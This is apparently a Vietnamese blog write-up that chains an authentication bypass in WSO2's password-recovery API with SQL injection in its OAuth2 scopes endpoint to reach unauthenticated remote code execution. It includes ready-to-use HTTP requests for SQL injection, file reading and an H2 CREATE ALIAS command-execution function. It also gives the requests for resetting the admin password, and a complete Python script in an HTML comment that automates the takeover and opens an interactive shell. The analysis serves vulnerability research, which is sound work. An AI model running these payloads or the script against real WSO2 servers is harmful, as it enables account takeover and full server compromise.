# WSO2 from bypass authentication to RCE
## WSO2-2022-2182
Thông tin về lỗi các bạn có thể đọc ở đây:
https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2023/WSO2-2022-2182/
Các phiên bản bị ảnh hưởng bao gồm:

### Setup
Các bạn download ở đây nha:
https://github.com/wso2/product-apim/releases/tag/v4.0.0
Sau khi tải về thì các bạn chạy file `bin/api-manager.bat`, nhớ set thêm `-debug 5005` để có thể debug được bằng intellij.
Sau khi connect debug ở trong intellij thì bạn vào url này để chạy nha `https://localhost:9443`
Default credential sẽ là `admin:admin`

### Phân tích
Ở trong bài phân tích thì người ta cũng nói là SQLi nằm ở trong endpoint của Oauth2 nên chúng ta cứ tìm ở đó thôi. Cụ thể nó sẽ nằm ở function `org.wso2.carbon.identity.oauth2.dao.OAuthScopeDAOImpl.getRequestedScopesOnly`

Set breakpoint thì thấy đã trigger được breakpoint.

Bây giờ chúng ta cần phải hiểu được cách mà API này hoạt động. Mình đã tìm được doc của API này ở đây nhé.
https://is.docs.wso2.com/en/latest/apis/oauth2-scope-management-rest-apis/#tag/Scope-Management/operation/getScopes

Vậy là chúng ta sẽ có 4 parameter để vọc vạch.
Giờ bắt đầu phân tích flow của code.
Đầu tiên là nếu chúng ta set parameter của `includeOIDCScopes` là true thì chúng ta sẽ nhảy đến câu SQL ngắn hơn, còn không thì sẽ nhảy vào câu SQL dài hơn.
Tiếp theo đó là sẽ tạo một biến là `requestedScopeList`. Ở đây nó sẽ sử dụng regex `\\s+` để split ở các dấu cách, rồi sau đó sẽ gán vào list `requestedScopeList`.
Tiếp theo đó nó sẽ sử dụng Collector joining để có thể để ghép `('` và `')` nhắm tiếp theo đó đưa vào trong câu SQL. Ví dụ như nếu chúng ta truyền vào value `1` thì sẽ thành `('1')`.
Tiếp theo đó sẽ xài hàm replace để thay `(?)` ở trong câu SQL query thành giá trị của sqlIn. Đây chính là sink của lỗi SQL injection tại vì câu query đã bị thay đổi và kiểm soát trước khi được execute. Mặc dù developer đã sử dụng prepared statement nhưng mà điều này cũng vô ích vì chả có tác dụng gì trong việc chống SQL injection vì cách dùng đã là sai từ lúc đầu rồi `¯\_(ツ)_/¯`


Bây giờ thử SQL injection đơn giản nha.


Wait, mình quên mất cái vụ regex nếu nó gặp dấu cách thì nó sẽ split ra, nên giờ mình phải dùng dấu comment `/**/` để có thể thay thế cho dấu cách nha.

Đã return hết toàn bộ rồi!
Giờ mình thử union attack thôi :+1:

Đã list ra được toàn bộ database.
Khi mình đi tìm kiếm các function hữu ích để có thể escalate tấn công thì mình thấy có 2 function thú vị đó chính là `FILE_READ` hoặc là `FILE_WRITE`.

```http!
GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=1&requestedScopes=<@urlencode>')/**/union/**/select/**/null,(select/**/FILE_READ('C:/windows/win.ini',NULL)),null,null,null,null--<@/urlencode> HTTP/1.1
Host: localhost:9443
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 0
Connection: close
```

Nhưng mà bây giờ làm thế nào để có thể RCE được? Well, chúng ta đã có hàm `create_alias`.
https://www.h2database.com/html/commands.html#create_alias
Hàm này được sử dụng để có thể tạo một custom function được tạo nên từ java code. Ví dụ như nếu chúng ta muốn tạo ra một hàm reverse string, chúng ta có thể làm như này.
`CREATE ALIAS REVERSE AS 'String reverse(String s) { return new StringBuilder(s).reverse().toString(); }';`
Nếu vậy thì bây giờ chúng ta đã có thể RCE được rồi.
<!-- Set alias function
```http!
GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=1&requestedScopes=<@urlencode>');CREATE/**/ALIAS/**/RCE/**/AS/**/'String/**/rce(String.../**/cmd)/**/throws/**/java.io.IOException{java.util.Scanner/**/s=new/**/java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");return/**/s.hasNext()?s.next():"";}'--<@/urlencode> HTTP/1.1
Host: localhost:9443
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 0
Connection: close
``` -->
Sau khi mình tạo một RCE alias function có output thì mình sẽ call nó thôi
```http!
GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=1&requestedScopes=<@urlencode>')/**/union/**/select/**/null,RCE('powershell.exe','whoami'),null,null,null,null--<@/urlencode> HTTP/1.1
Host: localhost:9443
Authorization: Basic YWRtaW46YWRtaW4=
```

Nhưng mà để có thể khai thác lỗi này cần phải có được credential của user có quyền xem được các scope API, trong đó có admin user. Vậy thì chúng ta có cách nào để bypass được cái này không? Thì chúng ta cần phải tận dụng thêm một lỗ hổng mới, đó chính là WSO2-2022-2177 :sunglasses:
## WSO2-2022-2177
### Overview
Ở lỗ hổng này, chúng ta sẽ tận dụng lỗi Broken Access Control ở trong reset password API để có thể lấy được account của bất kì user nào mà chúng ta biết được username.
Đây là các phiên bản bị ảnh hưởng

Tóm tắt về lỗ hổng

### Setup
Trước tiên chúng ta cần phải setup server SMTP để có thể tận dụng khả năng reset password bằng mail của WSO2.
Mình sử dụng PaperCut để có thể dễ dàng setup
`https://github.com/ChangemakerStudios/Papercut-SMTP`
Sau khi setup, chúng ta cần setup một chút ở PaperCut, mình để như này.


Ở WSO2, các bạn setup theo 2 link hướng dẫn này.
`https://is.docs.wso2.com/en/5.9.0/setup/configuring-email-sending/`
`https://www.youtube.com/watch?v=8sYJSFp_OSI`
Ở file `/repository/conf/deployment.toml`, mình add thêm setup như này
```
[identity_mgt.password_reset_email]
enable_password_reset_email=true
[output_adapter.email]
from_address= "platform@wso2.com"
username= ""
password= ""
hostname= "localhost"
port= 2500
enable_start_tls= false
enable_authentication= false
```
Sau đó các bạn thử sử dụng chức năng reset, nếu đã nhận được mail thì hoàn tất.


### Phân tích
Đây là doc của API recover password
`https://is.docs.wso2.com/en/latest/apis/organization-apis/org-account-recovery/#tag/Password-Recovery/paths/~1recover-password/post`
Đặt breakpoint ở function `org.wso2.carbon.identity.recovery.password.NotificationPasswordRecoveryManager.sendRecoveryNotification()` rồi gửi request yêu cầu reset password như này.


Ở dòng 56-65, chương trình bắt đầu kiểm tra những thông số đã được cài đặt sẵn như là tenant domain, property, cùng với đó là kiểm tra email của người dùng có hợp lệ hay không.
Ở dòng 77, chúng ta thấy rằng chương trình bắt đầu gọi một instance của JDBC nhằm lưu lại thông tin, nhưng mà là của cái gì?
Ở dòng 79, chương trình bắt đầu gọi đến hàm `generateSecretKey`, thử jump vào đó.

Tóm tắt lại function này thì nếu chúng ta reset password bằng SMS channel thì chương trình sẽ tạo một OTP gồm 6 kí tự, còn nếu không thì chương trình sẽ generate một chuỗi UUID.
Tiếp theo ở dòng 82 sẽ bắt đầu lưu chuỗi hoặc OTP vừa nhận được vào trong database bằng JDBC như chúng ta thấy ở line 77 nhằm xác thực ở sau này.


Ở đây chương trình của mình đã nhảy vào hàm else nhằm setKey cho response bean để có thể trả về UUID.

Nhưng mà vấn đề là chúng ta cần phải được có được credentials của bất kì người dùng nào để có thể sử dụng API này nhằm đưa vào header `Authorization`.
Điều này được được xử lí ở `org.wso2.carbon.identity.auth.valve.AuthenticationValve.invoke()`. Mình biết được điều này do thấy nó ở stack trace lúc debug.

Nếu như không thể authenticate người dùng được thì sẽ trả về 401


Bây giờ xem thử cách mà chương trình authenticate người dùng

Ở line 60, đầu tiên chương trình sẽ lấy URI và request method hiện tại nhằm mục đích tạo một so sánh với regex.
Thử đặt breakpoint ở line 42 function `org.wso2.carbon.identity.auth.service.AuthenticationManager.getSecuredResource()`.
Ở đây chương trình sẽ check xem cần lấy config cho secure resource nào.

Chương trình đã trả về với context là một regex `(.*)/api/identity/recovery/(.*)`
Để ý thì đây là một đoạn regex nhằm lấy những đoạn uri có string là `/api/identity/recovery/`. Ở đây server đang chạy là tomcat nên chúng ta có thể lợi dụng URI Normalization của tomcat được. Ở đây vì mình đã bypass được đoạn regex nên `secureResourceConfig` sẽ không tìm thấy cách nào để có thể authenticate của mình cả => Authentication Bypass.

```http!
POST /api/identity/recovery;foo/v0.9/recover-password?type=email¬ify=1 HTTP/1.1
Host: localhost:9443
Content-Length: 105
Content-Type: application/json
{
"user":{
"username":"user",
"realm":"PRIMARY",
"tenant-domain":"carbon.super"},
"properties":[]
}
```

Sau khi bỏ debug ở payload bypass authentication, các bạn có thể thấy biến `secureResourceConfig` đã trả về null.

Cũng như vậy, chúng ta đổi password của user admin thôi
```http!
POST /api/identity/recovery;foo/v0.9/set-password HTTP/1.1
Host: localhost:9443
Content-Length: 92
Content-Type: application/json
{
"key":"3d606897-9917-4fd9-abe1-5566f8182b16","password":"1234567890",
"properties":[]
}
```


Kết hợp với 2 lỗi, chúng ta đã có được unauthenticated RCE
<!--
```python=
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from base64 import *
import json
#Disable TLS warning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
url = input("Enter URL , ex: https://localhost:9443\n")
r = requests.Session()
#Check connection
assert r.get(url,verify=False).status_code == 200
# Take the reset password code of user admin
print("Getting reset code of user admin")
reset_code= r.post(url=url+"/api/identity/recovery;foo/v0.9/recover-password?type=email¬ify=1", json={
"user":{
"username":"admin",
"realm":"PRIMARY"},
"properties":[]
}).text.strip()
#If assert fails, then user admin doesnt exist
assert reset_code != ""
print(reset_code)
# Reset admin password to 123
print("Changing user admin password to 123456789")
r.post(url=url+"/api/identity/recovery;foo/v0.9/set-password",json={
"key":reset_code,"password":"123456789",
"properties":[]
})
print("Done")
print("Set alias function to prepare for rce")
b64_credentials = b64encode(b"admin:123456789").decode()
r.get(url=url+"/api/identity/oauth2/v1.0/scopes",params={
"includeOIDCScopes":"1",
"requestedScopes":"""');CREATE/**/ALIAS/**/RCE/**/AS/**/'String/**/rce(String.../**/cmd)/**/throws/**/java.io.IOException{java.util.Scanner/**/s=new/**/java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");return/**/s.hasNext()?s.next():"";}'--"""
},headers={
"Authorization":f"Basic {b64_credentials}"
})
print("Spawn shell")
shell = input("What type of shell? powershell.exe or /bin/bash : ")
while(True):
cmd = input("$ ")
output = r.get(url=url+"/api/identity/oauth2/v1.0/scopes",params={
"includeOIDCScopes":"1",
"requestedScopes":f"""')/**/union/**/select/**/null,RCE('{shell}','{cmd}'),null,null,null,null--"""
},headers={
"Authorization":f"Basic {b64_credentials}"
}).text
final_output = json.loads(output)
print(final_output[0]["name"])
```
-->
